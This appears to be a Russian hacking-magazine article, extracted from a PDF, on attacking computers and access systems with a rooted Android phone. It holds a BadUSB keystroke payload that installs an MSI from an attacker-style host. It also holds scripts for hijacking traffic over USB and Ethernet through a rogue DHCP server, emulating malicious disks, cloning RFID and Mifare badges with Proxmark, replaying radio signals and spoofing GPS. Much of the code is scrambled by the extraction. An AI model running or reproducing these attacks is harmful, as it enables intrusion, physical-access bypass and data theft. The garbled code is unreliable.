Син таксис ducky-скрип тов пол ностью иден тичен опи сан ному в 
 и про ее бес про вод ной ана лог — . Самое

опас ное, что может быть наб рано на кла виату ре, — это, нап ример, такой код:

статье
про BadUSB-флеш ку Mousejack

badusb/hid/ducky.txt
GUI r 
DELAY 500 
STRING msiexec /i https://en.badusb.attacker.tk/1.msi /quiet 
DELAY 300 
ENTER 

SHIFT ALT 
DELAY 300 
SHIFT CTRL 
DELAY 300 

GUI r 
DELAY 500 
STRING msiexec /i https://ru.badusb.attacker.tk/1.msi /quiet 
DELAY 300 
ENTER 

Те лефон зло умыш ленни ка покор но заряжа ется от компь юте ра жер твы, но,
как толь ко он услы шит коман ду run, сра баты вает ата ка, и компь ютер ока зыва- 
ется ском про мети рован ным за секун ду. Зло умыш ленник может даже уда лен- 
но ини цииро вать ата ку, под клю чив шись к телефо ну по VPN, исполь зуя 4G
и запус тив сце нарий  на телефо не.keystrokes.sh

Так как ими тиру ется кла виату ра, то через  мож но выпол нять

обыч ный инте рак тивный набор тек ста пря мо на вир туаль ной кла виату ре
телефо на:

/dev/hidg0

badusb/hid/keyboard.sh
#!/bin/bash

 while read -n 1 byte 
do
python2 ducky/keyseed.py "$byte" | ./hid-keyboard /dev/hidg0 

keyboard 2> /dev/null 
     echo "$byte" | xxd | grep -q '1b' && break

done

А через  мож но управлять и мыш кой:/dev/hidg1

badusb/hid/mouse.py
#!/usr/bin/python3

 import curses
   from os import system

 def main(stdscr):
 curses.curs_set(0)
 curses.mousemask(1)
  while True:
     key = stdscr.getch()
      if key == curses.KEY_MOUSE:
     try:

             _, x, y, _, _ = curses.getmouse()

 
       system("echo {x} {y} | ./hid-keyboard /dev/hidg1 mouse".
format(x=x, y=y))

           stdscr.addstr(0, 0, "{x} {y}    ".format(x=x, y=y)); stdscr.
refresh()
     except:
       pass
      elif key == ord("l"):
     system("echo --b1 | ./hid-keyboard /dev/hidg1 mouse")

        stdscr.addstr(0, 0, "left click "); stdscr.refresh()
      elif key == ord("r"):
     system("echo --b2 | ./hid-keyboard /dev/hidg1 mouse")

        stdscr.addstr(0, 0, "right click"); stdscr.refresh()
      elif key == 0x1b:
     break

curses.wrapper(main)

На жатия по кон соли в псев догра фичес ком режиме исполь зуют ся, что бы
передать дви жения кур сора на компь ютер.

BadUSB-ETH
Ата ку BadUSB-ETH, поз воля ющую перех ватить сетевой тра фик (смот ри
статью « »), тоже мож- 
но про вес ти с телефо на. Для это го его нуж но слег ка нас тро ить:

Злая сетеву ха. Раз бира ем в деталях ата ку BadUSB-ETH

badusb/eth/start.sh
#!/bin/bash

    
 

if ! grep -q configfs /proc/mounts; then sudo mount -t configfs none 
/sys/kernel/config; fi

cd /sys/kernel/config/usb_gadget/g1 
echo 0xff88|sudo tee idProduct 
echo 0x2717|sudo tee idVendor
echo 549839c4 | sudo tee strings/0x409/serialnumber 
echo rndis_adb | sudo tee configs/b.1/strings/0x409/configuration 

 sudo ln -s functions/gsi.rndis configs/b.1/f2 
  | UDC echo "" sudo tee 
    | UDC echo `ls -1 /sys/class/udc/ | head -1` sudo tee 

ssh -i ~/id_rsa-local -p 8022 lo "su - -c 'setprop sys.usb.config 
rndis,none,adb'"

 - cd

1 sleep 
sudo ifconfig rndis0 up 
sudo dnsmasq --conf-file=dnsmasq-attack.conf -p0

  1 sudo tcpdump -i rndis0 -nn -c # waiting a connection

1 sleep 
 

   5,7
read iface table <<< $(ip r show table all|grep default|grep -v 
dummy|cut -d ' ' -f )

 echo "forward to $iface ($table)"
sudo ifconfig rndis0 up 
sudo ip a add 192.168.42.1/24 broadcast 192.168.42.255 dev rndis0 
sudo ip r add 192.168.42.0/24 dev rndis0 table 97 
sudo ip rule add to 192.168.42.0/24 lookup 97 
#sudo ip rule add from all iif lo oif rndis0 lookup 97
sudo ip rule add from all iif rndis0 lookup $table

1 sudo sysctl -w net.ipv4.ip_forward=
 nat   sudo iptables -t -A tetherctrl_nat_POSTROUTING -o $iface -s 0.0.

0.0/0 -d 0.0.0.0/0 -j MASQUERADE 
sudo iptables -D tetherctrl_FORWARD -s 0.0.0.0/0 -d 0.0.0.0/0 -j DROP 

sudo tcpdump -i rndis0 -nn

В пер вом бло ке скрип та акти виру ется эму ляция сетевой кар ты по USB. Она,
кста ти, может уже при сутс тво вать по умол чанию или быть дос тупна через
обыч ные нас трой ки телефо на: «Нас трой ки → Для раз работ чиков → Кон- 
фигура ция USB по умол чанию: USB-модем».

Во вто ром бло ке скрип та запус кает ся кас томный DHCP-сер вер, который
перек рыва ет сетевые мар шру ты жер твы и нап равля ет весь ее тра фик
в телефон ата кующе го.

Так как при под клю чении телефо на ОС Android не в сос тоянии запус тить
свой DHCP-сер вер, нас трой ка интерфей са может прер вать ся. Поэто му нуж но
докон фигури ровать его самос тоятель но, и имен но это дела ется в треть ем
бло ке скрип та.

Скрипт дол жен быть запущен перед под клю чени ем телефо на к заб локиро- 
ван ному компь юте ру, что бы интерфейс  на телефо не пра виль но скон- 

фигури ровал ся. Если все сде лано вер но, то комп, к которо му под клю чен
телефон, так же авто мати чес ки скон фигури рует уже свой сетевой интерфейс.
Далее ата куемый компь ютер отправ ляет весь свой тра фик в телефон, в том
чис ле и Wi-Fi, и Ethernet (если они есть). Ведь мар шру ты дей ству ющих
сетевых интерфей сов ока зались перек рыты USB-сетью.

rndis0

Да лее запус кают ся уже непос редс твен но все ата ки:

badusb/eth/attack.sh
#!/bin/bash

GREEN=$'\x1b[32m'
RESET=$'\x1b[39m'

#~/gui.sh

  f  +xfor script in $(find on_network/ -type -perm -u )
do

  exec sudo $script rndis0 poisontap & 
done

  while echo -n '.'
do

  arp  |   
 |    0 

 if [ $( -an sed -rn 's/\? \(([^\)]+)\) .*\[ether\] on rndis0/\
1/p' wc -l) -ne ]
 then
   break
 fi

1  sleep 
done

arp  |    | 
ip 

-an sed -rn 's/\? \(([^\)]+)\) .*\[ether\] on rndis0/\1/p'
while read 
do

    echo $GREEN "client detected" $RESET
   f  +xfor script in $(find on_client/ -type -perm -u )
 do

      exec sudo $script $ip "" 192.168.42.1 & 
 done
done

В пер вом цик ле запус кают ся ата ки on_network, уни вер саль ные для всех кли- 
ентов. Во вто ром ожи дает ся появ ление IP-адре са кли ента (целево го устрой- 
ства), а в треть ем — запуск на него всех on_client-атак: чекеры уяз вимос тей,
брут форсе ры, сбор дан ных и так далее. В этом слу чае, бла года ря дис плею
телефо на, ата кующий видит боль ше информа ции о ходе про цес са.

Те лефон соз дает Ethernet-сеть с заб локиро ван ным ноут буком, перек -
рыва ет дру гие сети и перех ватыва ет хеш пароля

Та ким спо собом впол не реаль но стя нуть NetNTLM-хеш. Если его сбру тить
(что тоже дос тижимо), то удас тся обой ти бло киров ку устрой ства. Если
это домен ный комп, то такой хеш мож но нап равить на LDAP кон трол лера
домена и, изме нив опре делен ные свой ства учет ки, так же обой ти аутен- 
тифика цию. Воз можно, ата кующе му повезет и удас тся сра зу выпол нить про- 
изволь ный код через какую-нибудь уяз вимость или подоб ранный пароль,
а затем акти виро вать бэк дор. И все это толь ко с помощью телефо на!

BadUSB-HDD
По мимо устрой ств вво да (hid) и сетевых карт (eth), Android-телефон (вер нее,
ядро Linux) уме ет эму лиро вать еще и носите ли дан ных — жес ткие дис ки и CD-
при воды.

BadUSB-HDD — это под вид BadUSB-атак, который зак люча ется в воз- 
можнос ти сымити ровать заг рузоч ное устрой ство при перезаг рузке и выпол- 
нить там про изволь ный код. Одна ко воз можность эму ляции дис ка может быть
полез на и для дру гих целей.

В качес тве дис ка исполь зует ся обыч ный файл-образ. Его содер жимое —
это пос ледова тель ность бай тов. Все, что записа но в фай ле, находит ся
на дис ке. Сле дующий скрипт по выбору может ими тиро вать такие заранее
под готов ленные дис ки:

badusb/hdd/start.sh
#!/bin/bash

  1       [[ $# -ge ]] && disk="$1" || read -p 'disk image (empty=0, 
vuln_ntfs=1, coldboot=2, kali=3): ' disk 

  2   [[ $# -ge ]] && ro="$1"

  case "$disk" in
0   0 ) disk='empty.img'; ro= ;;
1   1 ) disk='vuln_ntfs.img'; ro= ;;
2   0 ) disk='coldboot.img'; ro= ;;
3   0 ) disk='kali.img'; ro= ;;
esac
disk="$(pwd)/$disk"

    
 

if ! grep -q configfs /proc/mounts; then sudo mount -t configfs none 
/sys/kernel/config; fi

 cat <<EE | sudo bash
cd /sys/kernel/config/usb_gadget/g1
echo "$ro" > functions/mass_storage.0/lun.0/ro
echo '1' > functions/mass_storage.0/lun.0/removable
echo "$disk" > functions/mass_storage.0/lun.0/file
EE

1 sleep 
ssh -i ~/id_rsa-local -p 8022 lo "su - -c 'setprop sys.usb.config 
mass_storage,adb'"

При меча тель но, что мож но сымити ровать и readonly-носите ли так, что бы ОС
или анти вирус ничего не уда лили. Оста нав лива ет эму ляцию дис ка сле дующий
скрипт:

badusb/hdd/stop.sh
#!/bin/bash

    
 

if ! grep -q configfs /proc/mounts; then sudo mount -t configfs none 
/sys/kernel/config; fi

 cat <<EE | sudo bash
cd /sys/kernel/config/usb_gadget/g1
echo '' > functions/mass_storage.0/lun.0/file
EE

1 sleep 
ssh -i ~/id_rsa-local -p 8022 lo "su - -c 'setprop sys.usb.config 
none,adb'"

Каж дый образ дис ка может исполь зовать свой сце нарий ата ки, нап ример:
. При под клю чении эму лиру ется пус той диск. На него мож но

ско пиро вать все, что угод но. Файл обра за дис ка на телефо не мож но
зашиф ровать и так спря тать похищен ную информа цию;

• empty.img

. Windows при под клю чении спе циаль но пов режден ной
фай ловой сис темой может упасть в BSOD. Если перед зло умыш ленни ком
некий информа цион ный тер минал, то это прос той сце нарий отка за
в обслу жива нии. Если же перед ним заб локиро ван ный комп, на котором
таким обра зом был выз ван BSOD, зна чит, пос ле это го он вый дет
на перезаг рузку, воз можно — с сох ранен ными в RAM дан ными. И тут мож- 
но перей ти к сле дующе му сце нарию;

• vuln_ntfs.img

. Метод, уже опи сан ный в статье «
». С телефо на ата кующий может

сдам пить опе ратив ную память в файл это го же обра за;

• coldboot.img Cold boot attack. Дам пим
опе ратив ную память с помощью флеш ки

. Если перед ата кующим комп, к которо му у него име ется пол- 
ный физичес кий дос туп, и ничего, кро ме телефо на, под рукой нет — он
может эму лиро вать заг рузоч ный диск Kali Linux (или чего-то подоб ного),
перезаг рузить ся с него и начать раз витие даль нейших атак. Так зло умыш- 
ленник обой дет и орга низа цион ный кон троль, ведь у него толь ко телефон,
и тех ничес кий — анти виру сы оста лись на дру гой ОС.

• kali.img

На рисун ке ниже показа но, как под клю чен ный к компь юте ру по USB телефон
эму лиру ет диск с пов режден ной фай ловой сис темой, при водя щей к BSOD.

Эму ляция жес тко го дис ка по USB с пов режден ной фай ловой сис темой

Ава рий но перезаг ружен ный таким обра зом компь ютер может уйти
на перезаг рузку с незатер тыми дан ными в RAM. Телефон же в этот момент
может эму лиро вать по USB дру гой диск —  — и выпол нить ата- 

ку Cold Boot.

coldboot.img

Продолжение статьи →
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PROXMARK

Тех нологии RFID (125 кГц) и NFC (13,56 МГц) при меня ются пов семес тно
для бес контак тной иден тифика ции и пре одо ления тур никетов на заводах,
вход ных две рей кабине тов, подъ ездов и так далее.

RFID и NFC лег ко спу тать. На вид они сла бо отли чимы. Есть пара лай фха- 
ков, поз воля ющих быс тро понять, какой тип бес контак тной тех нологии
перед вами. Сов ремен ные телефо ны снаб жены NFC и не исполь зуют RFID,
поэто му если твой телефон сре аги ровал на под несен ную мет ку, зна чит,
это NFC. Дру гой спо соб — визу аль ный, с исполь зовани ем фонари ка.

Оп ределя ем тип бес контак тной кар ты обыч ным фонари ком

Ес ли прос вечива ется круг лая антенна — это обыч но RFID, пря моуголь ная —
NFC. Но воз можны и час тные слу чаи. Эти две тех нологии мож но встре тить
при мер но с рав ной веро ятностью. Авто мати зиро ван ные сис темы кон тро ля
и управле ния дос тупом в биз нес-цен трах и на пред при ятиях чаще работа ют
на RFID, в то вре мя как в гос тиницах и оте лях — поч ти всег да на NFC. Так же
кар ты опла ты, вклю чая и бан ков ские, работа ют на осно ве тех нологии NFC,
но они исполь зуют нем ного иной прин цип, поэто му рас смат ривать их
не будем.

Обе тех нологии при меня ют бес контак тный метод ком муника ции ближ него
поля, ког да RFID/NFC-чип вклю чает ся и работа ет бла года ря элек тро маг- 
нитной энер гии на малых рас сто яниях (поряд ка нес коль ких сан тимет ров).

Ата ки на RFID и NFC чаще все го свя заны с бес контак тным кло ниро вани ем
и пос леду ющим пов торным исполь зовани ем. Ата ку мож но про водить
в сочета нии с устрой ством Proxmark. Для его работы тре бует ся соб рать драй- 
вер:

m CONFIG_USB_ACM=
make modules M=drivers/usb/class 
sudo modprobe cdc-acm 

Так же нуж но соб рать соот ветс тву ющий инс тру мент с ана логич ным име нем:

git clone https://github.com/Proxmark/proxmark3 
cd proxmark3; make 

RFID
RFID — тех нология бес контак тной иден тифика ции, по сути ради омет ка, чаще
все го содер жащая 5 байт. Эта тех нология никак не защище на от несан кци- 
они рован ного чте ния и может быть без тру да кло ниро вана. RFID мож но срав- 
нить с QR-кодом, который лег ко сфо тог рафиро вать и исполь зовать пов торно,
с той лишь раз ницей, что здесь не опти чес кий канал счи тыва ния, а радио-.

Для кло ниро вания мет ки или, нап ример, про пус ка тре бует ся про читать
и эму лиро вать дан ные:

rfid/clone.sh
#!/bin/bash

tag ./read.sh | while read 
 do echo "$tag"

 ./emulate.sh "$tag"
done

Пос коль ку такую ата ку зло умыш ленник может выпол нять скрыт но и не видеть
экра на телефо на, то с помощью Termux-API телефон виб росиг налом даст
понять ата кующе му, что успешно счи тал RFID:

rfid/read.sh
#!/bin/bash

 : while
do

 
|awk 

 tag=$(sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0 -c 'lf 
search'|grep 'EM TAG ID' '{print $5}')
   x     if [ "$tag" != "x" ]; then

    echo $tag
   ~/android/vibrate.sh 
 fi

1  sleep 
done

Чте ние RFID-мет ки

Эму ляция счи тан ной RFID-мет ки уже поз волит обой ти, ска жем, сис тему кон- 
тро ля и управле ния дос тупом:

rfid/emulate.sh
#!/bin/bash

  1        tag [[ $# -ge ]] && tag="$1" || read -p 'tag: '

   end   | { echo "lf em 410xsim $tag"; read ; } sudo /opt/proxmark3/
client/proxmark3 /dev/ttyACM0 

Пов торное исполь зование про читан ной RFID-мет ки

И, впол не ожи даемо, зло умыш ленник без проб лем попада ет в зда ние. Сот- 
рудник вышел покурить, зло умыш ленник подошел, что бы спро сить вре мя,
и незамет но под нес телефон с Proxmark к его кар ману, где хра нит ся про пуск.
Далее зло умыш ленник может про ник нуть в защищен ное помеще ние. А что,
если жер твой стал сис темный адми нис тра тор? Тог да бонусом будет и дос туп
в сер верные.

NFC
NFC — это тех нология бес про вод ной переда чи информа ции, име ющая
защиту от несан кци они рован ного чте ния. Самый рас простра нен ный из ее
вари антов — Mifare 1024 содер жит 1024 байт информа ции, раз делен ной
на 16 сек торов по четыре бло ка, по 16 байт в каж дом. И имен но дос туп к этим
сек торам защища ется четырех бай тны ми клю чами. Впро чем, в этой тех- 
нологии най ден ряд уяз вимос тей, поз воля ющих вос ста нав ливать клю чи.
При этом час то вос ста новить клю чи мож но за нес коль ко секунд.

По пыт ка пол ного кло ниро вания кар ты при усло вии, что ата кующий может
вос ста новить клю чи к сек торам, сос тоит из попыт ки чте ния и эму ляции:

nfc/clone.sh
#!/bin/bash

 : while
  do echo -n '.'

   1uid=$(./read.sh 1 | head -n )
   x           if [ "$uid" != "x" -a -f 'dumpkeys.bin' -a -f 'dumpdata.bin' ];
then
   ./emulate.sh "$uid"
   break
 fi

done

Сле дующий скрипт пыта ется про читать дан ные с сек торов кар ты со сло вар- 
ными клю чами или при менить ата ку Nested к аппа рат ной уяз вимос ти MFOC
для вос ста нов ления клю чей:

nfc/read.sh
#!/bin/bash

  1     99 [[ $# -ge ]] && attempts="$1" || attempts=

brutefunction (){
 KEYS='/opt/proxmark3/client/default_keys.dic'
  

 |   | 
sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0 -c "hf mf chk * 

? d $KEYS" grep '^|0' while read sec keyA s keyB s 
  do echo "$sec $keyA $keyB"
             if [ "x$keyA" = "x?" -a "x$keyB" = "x?" ]; then
     rm dumpkeys.bin 

1      return 
   fi
 done

0  return 
}
function nested(){
  
 |   | 
sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0 -c 'hf mf chk * 

?' grep '^|0' while read sec keyA s keyB s 
  do echo "$sec $keyA $keyB"
    %d  |cut    2sec=$(printf $(echo "$sec" -d '|' -f ))
   key=''
         if [ "x$keyA" != "x?" ]; then
     key="$keyA"
     type="A"
         elif [ "x$keyB" != "x?" ]; then
     key="$keyB"
     type="B"
   fi

         if [ "x" != "x$key" ]; then
      echo "hf mf nested 1 $sec $type $key d"

      sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0 -c "hf mf 
nested 1 $sec $type $key d"

        if [ -f dumpkeys.bin ]; then
       xxd dumpkeys.bin 

0        return 
     else

1        return 
     fi
     break
   fi
 done
}

dumpfunction (){
  sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0 -c 'hf mf dump 1'
    if [ -f dumpdata.bin ]; then
   xxd dumpdata.bin 
   0 return 
 else

1    return 
 fi
}

 shopt -s lastpipe 
 0  i++for ((i= ; i<"$attempts"; ))

do
 

|awk 
 uid=$(sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0 -c 'hf 

search'|grep 'UID :' '{print $3$4$5$6}')
   x     if [ "$uid" != "x" ]; then

    echo "$uid"
   brute  if ; then

dump       if ; then
       break
     fi

    elif nested; then
dump       if ; then

       break
     fi
   fi
 fi

1  sleep 
done

На кар те для дос тупа к сек торам могут исполь зовать ся сло вар ные клю чи. Тог- 
да скрипт авто мати чес ки может сдам пить ее.

Ес ли чте ние со сло вар ными клю чами не уда лось, скрипт про бует ата ку
Nested. Для успе ха зло умыш ленни ку нужен ключ хотя бы от одно го сек тора.
По нему, ана лизи руя генера тор прос тых чисел, мож но вос ста новить клю чи
ко всем оставшим ся сек торам. Если клю чи вос ста нов лены и все сек тора про- 
чита ны, то ата кующий может эму лиро вать NFC жер твы:

nfc/emulate.sh
#!/bin/bash

  1        uid [[ $# -ge ]] && uid="$1" || read -p 'uid: '

        if [ -f 'dumpkeys.bin' -a -f 'dumpdata.bin' ]; then
xxd   -ps -c 16 dumpdata.bin > dumpdata.eml 

      end  
 | 
{ echo 'hf mf eload 1 dumpdata'; echo "hf mf sim u $uid"; read ;

} sudo /opt/proxmark3/client/proxmark3 /dev/ttyACM0 
else
    end   | { echo "hf mf sim u $uid"; read ; } sudo /opt/proxmark3/
client/proxmark3 /dev/ttyACM0 
fi

Иног да для иден тифика ции не исполь зуют ся дан ные сек торов, а толь ко
четырех бай тный UID, который никак не защищен от чте ния. В таком слу чае
защищен ность мет ки сни жает ся до уров ня RFID.

Ка кой импакт здесь име ет мес то? Как минимум — такой же, как в слу чае
с RFID. Если кар та NFC содер жит дефол тные клю чи либо под верже на
популяр ной уяз вимос ти MFOC, то при мер но за десять секунд все дан ные
с кар ты могут быть выг ружены. На некото рых кар тах эта ата ка может занимать
боль ше вре мени. Подоб ные NFC — это всем извес тные кар точки опла ты
в тран спор те. Ины ми сло вами, отсутс твие защиты дан ных на NFC-носите лях
может нанес ти финан совый ущерб.

Proxmark — дос таточ но мощ ный инс тру мент, воз можнос ти которо го
отнюдь не огра ниче ны опи сан ными при мера ми атак. Это самое прос тое
и быс трое, что может сде лать хакер в кон тек сте физичес кого воз дей ствия,
про води мого в тан деме с телефо ном. Более того, инс тру мент Proxmark3 име- 
ет собс твен ный набор скрип тов для авто мати зации опре делен ных дей ствий.

ETHERNET

Ес ли ата кующий име ет дело с Ethernet, ему нуж но сна чала под клю чить внеш- 
нюю сетевую кар ту. Вооб ще, некото рые сетевые кар ты в форм-фак торе USB
в магази нах иног да про дают ся с осо бой помет кой — «Для план шетов».
Велика веро ятность, что такую сетевую кар ту ядро под хва тит авто мати чес ки.
Тем не менее, если это го не про изош ло, всег да мож но дособ рать тре буемый
ядер ный модуль, нап ример так:

m CONFIG_USB_RTL8152=
make modules M=drivers/net/usb 

Для авто мати чес кой заг рузки необ ходимо го драй вера и нас трой ки адап тера
перед под клю чени ем запус кает ся сле дующий скрипт:

eth/start.sh
#!/bin/bash

sudo insmod /lib/modules/4.14.83-quax+/extra/r8152.ko 
sudo /lib/systemd/systemd-udevd --debug & 
count=$(lsusb|wc -l)

1          while sleep ; do if [ $(lsusb|wc -l) -ne $count ]; then break; fi;
done

2 sleep 
sudo killall systemd-udevd 

sudo ifconfig eth0 up 
sudo ip a add 11.0.0.10/24 dev eth0 

1 sleep 
   5table=$(ip r show table all|grep eth0|head -n 1|cut -d ' ' -f )

 echo "eth0 table: $table"
sudo ip r add 11.0.0.0/24 dev eth0 table $table
sudo ip rule add to 11.0.0.0/24 lookup $table
ifconfig eth0 

Так как ОС Android исполь зует мар шру тиза цию с при мене нием пра вил, тре- 
бует ся нем ного боль ше команд, чем на обыч ном Linux. В конеч ном сче те
на телефо не появ ляет ся при выч ный eth0-интерфейс для работы с сетями
по про воду.

Àòàêà
Ес ли перед ата кующим заб локиро ван ный комп, то аль тер нативой под клю- 
чению к нему по USB (как в статье «

») может быть под клю чение нап рямую патч-кор дом в Ethernet-
порт, в надеж де, что тот акти вен. Ско рее все го, если рас смат ривать кор- 
поратив ный сце нарий ата ки, перед ата кующим будет ста ционар ный компь- 
ютер или ноут бук, в который уже что-то под клю чено по Ethernet. Зна чит, сеть
на интерфей се активна. Пос ле под клю чения ата кующий так же получит
сетевой канал вза имо дей ствия с устрой ством и смо жет прос каниро вать его
на уяз вимос ти, поб рутить SMB/RDP/SSH, а так же выпол нить MITM-ата ки,
ведь ата кующий может занять IP-адрес шлю за.

Злая сетеву ха. Раз бира ем в деталях ата ку
BadUSB-ETH

Пос коль ку адап тер сетевой кар ты может быть уже скон фигури рован, при- 
дет ся сна чала слу шать тра фик, что бы понять, какой IP-адрес занять ата- 
кующе му. В этом слу чае устрой ство жер твы не зап рашива ет нас трой ки
по DHCP, а зна чит, здесь не про вер нуть трюк с перек рыти ем сетевых мар шру- 
тов. Ведь с BadUSB-ETH каж дый раз соз дает ся новый интерфейс, который
кон фигури рует ся авто мати чес ки.

eth/attack.sh
#!/bin/bash

GREEN=$'\x1b[32m'
RESET=$'\x1b[39m'

#~/gui.sh

 sudo dnsmasq --conf-file=dnsmasq-attack.conf -d -p0

function change_network(){
 ip="$1"
    5table=$(ip r show table all|grep eth0|head -n 1|cut -d ' ' -f )
 sudo ip a add "${ip%.*}.1/24" dev eth0 
 sudo ip r add "${ip%.*}.0/24" dev eth0 table $table
 sudo ip rule add to "${ip%.*}.0/24" lookup $table
}

  f  +xfor script in $(find on_network/ -type -perm -u )
do

  exec sudo $script eth0 "" & 
done

rm /tmp/eth_attacks.txt 2> /dev/null 
 : while

do
  

 |     1
 ip=$(sudo tcpdump -i eth0 -nn -c 1 arp 2> /dev/null | awk '{print 

$7}' cut -d ',' -f )
    

  
 egrep -q "^$ip$" /tmp/eth_attacks.txt 2> /dev/null && continue ||

echo "$ip" >> /tmp/eth_attacks.txt 
    ok read -p "$ip ?"
       [[ "$ok" != 'y' ]] && continue
 change_network "$ip"
   f  +xfor script in $(find on_client/ -type -perm -u )
 do

       exec $script $ip "" "${ip%.*}.1" & 
 done
done

Пе ред ата кующим может быть как нас тро енный, так и не нас тро енный
Ethernet-интерфейс, поэто му при веден ный выше скрипт про бует сна чала
скон фигури ровать устрой ство по DHCP, а потом пой мать пакет с уже наз- 
начен ным сетевой кар те IP-адре сом. Скрипт про бует подс тро ить ся
под любую адре сацию — навязан ную им или уже исполь зуемую устрой ством.

Пред лага емая кон фигура ция по DHCP при этом сле дующая:

eth/dnsmasq-attack.conf
domain=fake.net
interface=eth0
dhcp-range=11.0.0.100,11.0.0.110,24h
dhcp-option=1,255.255.255.0
dhcp-option=3,11.0.0.1
dhcp-option=6,8.8.8.8,8.8.4.4
dhcp-option=121,0.0.0.0/1,11.0.0.1,128.0.0.0/1,11.0.0.1
dhcp-option=249,0.0.0.0/1,11.0.0.1,128.0.0.0/1,11.0.0.1

Этот кон фиг так же исполь зует трюк с перек рыти ем мар шру тов, вытяги вая
тра фик дру гих сетевых интерфей сов в телефон. В слу чае успе ха ата кующий,
ана логич но , перек рыва ет дру гие сетевые интерфей сы и перех- 
ватыва ет их тра фик, а так же про веря ет уяз вимос ти, как показа но на рисун ке.

BadUSB-ETH

Те лефон авто мати чес ки ата кует компь ютер через Ethernet-порт

В конеч ном сче те на устрой стве будет запущен весь ата кующий арсе нал
через скрип ты on_network/on_client, под робно опи сан ные в стать ях
про ,  и . Таким обра зом, исполь зуя смар тфон
и любую сетевую кар ту USB, мы можем добить ся эффекта устрой ства Shark
Jack.

BadUSB-ETH Pineapple Karma

Ñíèôôèíã
Ес ли же перед ата кующим не розет ка Ethernet, а лишь про вод, он может при- 
менить к нему полудуп лек сное прос лушива ние тра фика, то есть прос лушива- 
ние полови ны тра фика — либо вхо дящий, либо исхо дящий. Это уже зна комая
ата ка, пред став ленная в статье «

». К оран жевой либо зеленой паре под клю чают ся
зажимы, а обратный конец идет нап рямую в сетевую кар ту USB.

Кро кок ряк. Сни маем тра фик с витой пары
обыч ными „кро коди лами“

Те лефон сни мает тра фик с про вода витой пары пос редс твом «кро коди -
лов»

Са ма ата ка тре бует некото рой лов кости рук и реали зует ся менее чем
за минуту.

Продолжение статьи →

https://xakep.ru/2023/02/22/badusb-eth/
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SDR

Прог рам мное радио (SDR), нап ример HackRF One, мож но так же под клю чить
к телефо ну. И в этой ата ке вновь не тре буют ся осо бые драй веры.
Для базовых фун кций есть даже мобиль ное при ложе ние.

Прос лушива ние ради оэфи ра с помощью SDR

HackRF — самый дос тупный полудуп лек сный SDR, который поз воля ет
как при нимать, так и отправ лять ради осиг нал на час тотах в боль шом диапа- 
зоне — от 1 МГц до 6 ГГц. При этом фор ма сиг нала (модуля ция, ширина
канала) пол ностью зада ется прог рам мно. Это откры вает огромные воз- 
можнос ти для вза имо дей ствия с ради осиг налами. Нап ример, мож но изу чить
любой ради осиг нал, а затем вос создать его в нуж ном виде.

Ра зуме ется, с телефо на край не неудоб но ресер чить ради осиг нал, ана- 
лизи ровать его фор му, уга дывать спо соб кодиро вания, а потом пытать ся
модули ровать его обратно из дво ично го кода. Оста вим это для компь юте ра.
Но некото рые ради оата ки дос таточ но прос ты, хорошо авто мати зиро ваны
и могут быть выпол нены с телефо на.

Га раж ные ворота, сиг нализа ции, даже управле ние авто мати кой на пред- 
при ятии — вот далеко не пол ный спи сок устрой ств, которые могут быть ата- 
кова ны с помощью SDR. Рас смот рим некото рые из самых прос тых атак.

Replay
Очень прос той ата кой, удоб но реали зуемой с телефо на, может быть replay-
ата ка — запись ради осиг нала и его пос леду ющее вос про изве дение (подоб- 
но дик тофону):

sdr/record.sh
#!/bin/bash

  1       [[ $# -ge ]] && freq="$1" || read -p 'freq: ' freq 
  2      +[[ $# -ge ]] && dumpfile="$2" || dumpfile="/sdcard/out-$(date '%d.

%m.%Y_%H:%M:%S').wav"
     2 [ -z "$RATE" ] && RATE=$[ * 1000 * 1000] 

 echo "$dumpfile"
 1        40  

62 
sudo hackrf_transfer -a -s $RATE -f "$freq" -r "$dumpfile" -l -g

sdr/play.sh
#!/bin/bash

  1       [[ $# -ge ]] && freq="$1" || read -p 'freq: ' freq 
  2       [[ $# -ge ]] && dumpfile="$2" || read -p 'dumpfile: ' dumpfile 

     2 [ -z "$RATE" ] && RATE=$[ * 1000 * 1000] 

 0        47 sudo hackrf_transfer -a -s $RATE -f "$freq" -t "$dumpfile" -x

sdr/replay.sh
#!/bin/bash

  1       [[ $# -ge ]] && freq="$1" || read -p 'freq: ' freq 
 +dumpfile="/sdcard/out-$(date '%d.%m.%Y_%H:%M:%S').wav"

     2 [ -z "$RATE" ] && RATE=$[ * 1000 * 1000] 

 ./record.sh "$freq" $dumpfile
   read -p 'replay?' continue

 ./play.sh "$freq" $dumpfile

Пе реда ча ради осиг нала, как пра вило, никак не огра ничи вает ся в прос транс- 
тве. Если ради осиг нал не содер жит крип тогра фичес ких фун кций или меня- 
ющих ся пос ледова тель нос тей, то он может быть записан и вос про изве ден
ата кующим в нуж ный момент.

От кры тие шлаг баума — это одна из самых безобид ных и прос тых вещей,
которые мож но сде лать подоб ным обра зом.

За пись ради осиг нала от бес про вод ного бре лока для откры тия ворот

И далее ата кующий уже сам может управлять тех никой.

От кры тие ворот с исполь зовани ем записан ного ради осиг нала

Ес ли подоб ные вещи мож но про делы вать с про мыш ленной тех никой, то
это уже не выг лядит как прос тая забава. Ана логич но для более слож ных ради- 
оатак может быть запущен заранее при готов ленный gnuradio-скрипт. Нап- 
ример, для уго на ради оуп равля емой тех ники.

GPS spoofing
Ра диосиг нал со спут ника, по мощ ности сопос тавимый с обыч ной лам пой
накали вания, доходя до зем ли с высоты 20 тысяч километ ров, зна читель но
осла бева ет, и его мощ ность ста новит ся в 100 раз ниже уров ня ради ошу ма.
Это дает хорошую тех ничес кую воз можность перебить и под делать сиг нал
даже не самым мощ ным обо рудо вани ем.

Спут ники сис темы GPS были запуще ны в кос мос поч ти пол века тому
назад. В те вре мена люди еще не думали о компь ютер ной безопас ности,
а сей час спут ники уже не вер нешь. С помощью SDR ата кующий может под- 
делать сиг нал от спут ников GPS и вмес те с ним задать про изволь ную
текущую коор динату:

sdr/gps/spoofing.sh
#!/bin/bash

  INT trap 'echo interrupted'
  1        lat [[ $# -ge ]] && lat="$1" || read -p 'latitude: '
  2        lon [[ $# -ge ]] && lon="$2" || read -p 'longitude: '

2 60] DURATION=$[ *
RATE=2600000 
FREQ=1575420000 

 8   
 , ,0 

